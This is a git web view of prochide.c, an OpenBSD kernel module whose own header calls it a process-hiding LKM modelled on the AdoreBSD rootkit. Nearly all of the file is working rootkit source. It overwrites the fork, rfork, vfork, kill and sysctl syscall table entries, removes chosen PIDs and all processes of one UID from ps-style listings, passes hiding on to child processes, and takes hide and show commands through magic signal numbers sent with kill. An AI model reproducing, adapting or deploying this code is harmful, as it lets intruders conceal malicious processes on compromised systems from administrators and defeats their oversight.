summaryrefslogtreecommitdiff
path: root/prochide/prochide.c
blob: 10a07bf862304233c79bda63755e2358764a1f1c (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
/*
 * prochide.c
 *
 * file: prochide.c
 *
 * process hiding LKM. Will hide any process
 * from queries by libkvm functions such as
 * those used by ps.c, etc.
 *
 * Credit goes to the openbsd source tree, 
 * bind, and bind's AdoreBSD from which i've
 * cheated and learned from. Will add remainder
 * of Adore functionality @ somepoint.
 *
 * Tested working under OpenBSD 2.9/x86
 *
 * 9-21-01
 *
 * mike@gravitino.net
 */

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/cdefs.h>
#include <sys/proc.h>
#include <sys/exec.h>
#include <sys/lkm.h>
#include <sys/syscall.h>
#include <sys/mount.h>
#include <sys/syscallargs.h>
#include <sys/sysctl.h>
#include <sys/ucred.h>

/*
 * some defs..
 */
#define HIDDEN_FLAG 0x1000000

#define HIDEPID 0x400000
#define SHOWPID 0x400001
#define HIDEUID 0x400002
#define SHOWUID 0x400003

/*
 * syscall ptrs
 */
static sy_call_t *p_fork  ;
static sy_call_t *p_rfork ;
static sy_call_t *p_vfork ;
static sy_call_t *p_kill  ;
static sy_call_t *p_sysctl;

/*
 * function prototypes
 */
static int is_pid_hidden (pid_t pid);
static int hide_pid      (pid_t pid);
static int show_pid      (pid_t pid);

/*
 * static int to hold uid to hide (only 1 supported @ this time)
 */
static int hidden_uid;

/*
 * miscellaneous LKM =D
 */
MOD_MISC("prochide");

/*
 * wrapper functions
 */
static int h_sys_fork (struct proc *p, void *uap, int *retval)
{
	pid_t pid;

	pid = sys_fork(p, uap, retval);

	if(pid > 0 && is_pid_hidden(p->p_pid))
	{
		hide_pid(pid);
	}

	return(pid);
}

static int h_sys_rfork(struct proc *p, void *uap, int *retval)
{
	pid_t pid;

	pid = sys_rfork(p, uap, retval);

	if(pid > 0 && is_pid_hidden(p->p_pid))
	{
		hide_pid(pid);
	}

	return(pid);
}

static int h_sys_vfork(struct proc *p, void *uap, int *retval)
{
	pid_t pid;

	pid = sys_vfork(p, uap, retval);

	if(pid > 0 && is_pid_hidden(p->p_pid))
	{
		hide_pid(pid);
	}

	return(pid);
}

/*
 * is process hidden flag set?
 */
static int is_pid_hidden(pid_t pid)
{
	struct proc *p = NULL;
	
	p = pfind(pid);
	if(p == NULL)
	{
		return(0);
	}

	return ((p->p_flag & HIDDEN_FLAG) ? 1 : 0);
}

/*
 * set process hidden flag
 */
static int hide_pid (pid_t pid)
{	
	struct proc *p = NULL;

	/*
	 * lookup process
	 */
	p = pfind(pid);
	if(p == NULL)
	{
		return(1);
	}

	/*
	 * is pid already hidden?
	 */
	if(is_pid_hidden(pid))
	{
		return(0);
	}

	/*
	 * set hidden flag 
	 */
	p->p_flag ^= HIDDEN_FLAG;

	return(0);
}

/*
 * unset process hidden flag
 */
static int show_pid (pid_t pid)
{
	struct proc *p = NULL;

	/*
	 * lookup process
	 */
	p = pfind(pid);
	if(p == NULL)
	{
		return(1);
	}

	/*
	 * is hidden flag already set?
	 */
	if(!is_pid_hidden(pid))
	{
		return(0);
	}

	/*
	 * unset hidden flag
	 */
	p->p_flag ^= HIDDEN_FLAG;

	return(0);
}

/*
 * hide/show processes & uid via kill syscall. see ph_cli.c
 * for usage.
 */
static int h_sys_kill  (struct proc *p, void *uap, int *retval)
{
	struct sys_kill_args *args = uap;
	int    ret;

	if(SCARG(args, signum) == HIDEPID)
	{
		ret = hide_pid(SCARG(args, pid));
		return(ret);
	}

 	if(SCARG(args, signum) == SHOWPID)
	{
		ret = show_pid(SCARG(args, pid));
		return(ret);
	}

	if(SCARG(args, signum) == HIDEUID)
	{
		hidden_uid = SCARG(args, pid);
		return(0);
	}

	if(SCARG(args, signum) == SHOWUID)
	{
		hidden_uid = 0xCCCC;
		return(0);
	}

	return sys_kill(p, uap, retval);
}	

#define GETPROC() copyin(SCARG(args,old) + (idx * sizeof(kp)), &kp, sizeof(kp));

/*
 * copy elements in process list over 
 * element containing proc info to be
 * hidden.
 */
static int overlap(void *uaddr, int cnt)
{
	struct kinfo_proc kp;
	int    idx;

	for(idx=0; idx < cnt; ++idx)
	{
		copyin (uaddr + ((idx + 1) * sizeof(kp)), &kp, sizeof(kp));
		copyout(&kp, uaddr + (idx * sizeof(kp)), sizeof(kp));
	}
}

/*
 * sysctl wrapper - process output from libkvm 
 * and remove processes that are hidden or processes
 * that belong to a hidden user.
 */
static int h_sys_sysctl(struct proc *p, void *uap, int *retval)
{
	struct sys___sysctl_args *args = uap;
	struct kinfo_proc kp;
	struct pcred *pc;
	size_t nproc;
	size_t tsize;
	int    *mib ;
	int    ret  ;
	int    idx  ;
	int    offset;
	int    cuid = p->p_cred->p_ruid; // caller's real uid

	// call function
	ret = sys___sysctl(p, uap, retval);

	mib = SCARG(args, name);

	// process output - is process listing?
	if(ret    != -1        && 
	   mib[0] == CTL_KERN  &&
	   mib[1] == KERN_PROC &&
	   SCARG(args, old) != NULL) // not size getting calls..
	{
		// get # of bytes comprising proc structs
		copyin(SCARG(args, oldlenp), &nproc, sizeof(size_t));
		
		// calc # of kinfo_proc structs
		nproc /= sizeof(struct kinfo_proc);
		tsize =  nproc;

		/*
		 * remove hidden structs from output
		 */
		if(nproc > 0)
		{
			for(idx=0; idx < nproc; ++idx)
			{
				// copy idx into kp using macro
				GETPROC();

				/*
				 * show to hidden user but not to
				 * other users.. if no hidden user
				 * is set, show to nobody (unless
				 * their uid is 0xCCCC)
				 */
				if((cuid != hidden_uid &&
				   is_pid_hidden(kp.kp_proc.p_pid)) ||
				   (cuid != hidden_uid &&
				    kp.kp_proc.p_cred->p_ruid == hidden_uid))
				{	
					// overlap hidden pid data
					overlap(SCARG(args,old) + 
						(idx * sizeof(kp)), 
						nproc - idx - 1);

					// decrement size
					--tsize;
					--idx;
					--nproc;
					continue;
				}
			}

			tsize *= sizeof(struct kinfo_proc);	

			// update len
			copyout(&tsize, SCARG(args, oldlenp), sizeof(size_t));
		}
	}

	return(ret);
}

/*
 * module load handler
 */
static int prochide_load   (struct lkm_table *lkmtp, int cmd)
{
	if(cmd == LKM_E_LOAD)
	{
		/*
		 * save syscall ptrs
		 */
		p_fork   = sysent[SYS_fork    ].sy_call;
		p_rfork  = sysent[SYS_rfork   ].sy_call;
		p_vfork  = sysent[SYS_vfork   ].sy_call;
		p_kill   = sysent[SYS_kill    ].sy_call;
		p_sysctl = sysent[SYS___sysctl].sy_call;

		/*
		 * replace w/ prochide wrapper functions
		 */
		sysent[SYS_fork    ].sy_call = h_sys_fork  ;
		sysent[SYS_rfork   ].sy_call = h_sys_rfork ;
		sysent[SYS_vfork   ].sy_call = h_sys_vfork ;
		sysent[SYS_kill    ].sy_call = h_sys_kill  ;
		sysent[SYS___sysctl].sy_call = h_sys_sysctl;

		/*
		 * initialize hidden userid
		 */ 
		hidden_uid = 0xCCCC;
	}

	return(0);
}

/*
 * module unload handler
 */
static int prochide_unload (struct lkm_table *lkmtp, int cmd)
{
	if(cmd == LKM_E_UNLOAD)
	{
		/*
		 * restore syscall ptrs
		 */
		sysent[SYS_fork    ].sy_call = p_fork  ;
		sysent[SYS_rfork   ].sy_call = p_rfork ;
		sysent[SYS_vfork   ].sy_call = p_vfork ;
		sysent[SYS_kill    ].sy_call = p_kill  ;
		sysent[SYS___sysctl].sy_call = p_sysctl;
	}

	return(0);
}

/*
 * entry point / cmd dispatcher
 */
int prochide_handler(struct lkm_table *lkmtp, int cmd, int ver)
{
	DISPATCH(lkmtp, cmd, ver, prochide_load, prochide_unload, lkm_nofunc)
}